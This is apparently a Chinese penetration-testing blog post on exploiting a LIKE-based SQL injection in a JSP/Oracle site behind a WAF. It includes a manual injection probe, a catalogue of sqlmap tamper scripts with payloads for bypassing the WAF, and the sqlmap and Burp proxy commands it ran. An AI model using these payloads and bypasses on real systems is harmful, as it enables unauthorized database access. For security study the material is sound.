记一次使用sqlmap对oracle进行like注入

环境：jsp+oracle
从FUZZ的结果以及http响应的长度来看，普通的注入被waf拦截，存在like注入

like注入其实也并不是两边都要有 %，我们只需要闭合单引号就行了：

接下来用sysdata参数可以确定数据库为oracle。
sysdata函数为oracle数据库的日期，length求的是字符长度，可构造语句：
1’ AND LENGTH(SYSDATE) LIKE LENGTH(SYSDATE) AND ‘NGjD’ LIKE 'NGjD

现在可以确定存在注入了，于是移步到工具使用环节
like注入的话一般要用到tamper脚本了，SQLMAP 的tamper脚本可在一定程度上避开应用程序的敏感字符过滤、绕过 WAF 规则的阻挡，继而进行渗透攻击，否则可能会检测不出注入，常见的tamper脚本有：
base64encode.py
适用数据库：ALL
作用：替换为base64编码
使用脚本前：tamper(“1’ AND SLEEP(5)#”)
使用脚本后：MScgQU5EIFNMRUVQKDUpIw==
space2plus.py
适用数据库：ALL
作用：用加号替换空格
使用脚本前：tamper(‘SELECT id FROM users’)
使用脚本后：SELECT+id+FROM+users
space2randomblank.py
适用数据库：ALL
作用：将空格替换为其他有效字符
使用脚本前：tamper(‘SELECT id FROM users’)
使用脚本后：SELECT%0Did%0DFROM%0Ausers
space2comment.py
作用：将空格替换为//
使用脚本前：tamper(‘SELECT id FROM users’)
使用脚本后：SELECT//id//FROM//users
equaltolike.py
作用：将=替换为LIKE
使用脚本前：tamper(‘SELECT * FROM users WHERE id=1’)
使用脚本后：SELECT * FROM users WHERE id LIKE 1
bluecoat.py
适用数据库：Blue Coat SGOS
作用：在sql语句之后用有效的随机空白字符替换空格符，随后用LIKE替换=
使用脚本前：tamper(‘SELECT id FROM users where id = 1’)
使用脚本后：SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
适用数据库：MySQL
作用：内联注释绕过
使用脚本前：tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
使用脚本后：1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
between.py
作用：用NOT BETWEEN 0 AND #替换>
使用脚本前：tamper(‘1 AND A > B–’)
使用脚本后：1 AND A NOT BETWEEN 0 AND B–
本次用到的是bluecoat
python sqlmap.py -r r4.txt --random-agent --tamper=bluecoat
是可以跑出存在注入的，我们看到数据库的类型判断的不太对，且还一直报
[CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)
翻译：[紧急]连接被丢弃或接收到未知的HTTP状态码。Sqlmap将重试请求。
然后这里无论你y或者n，都会自动停止

初步判断原因是使用了大量的注入语句导致服务器返回500报错：

返回大量的错误时sqlmap会自动停止注入扫描，于是我们加入threads参数指定为1让线程慢一些，还是会报错：

线程都为1了还不行，于是想到了可以利用burpsuite作为代理，然后手动放包：
python sqlmap.py -r r4.txt --random-agent --tamper=bluecoat --proxy http://127.0.0.1:8080
看到这次好了，开始判断数据库类型了，最后判定为oracle数据库：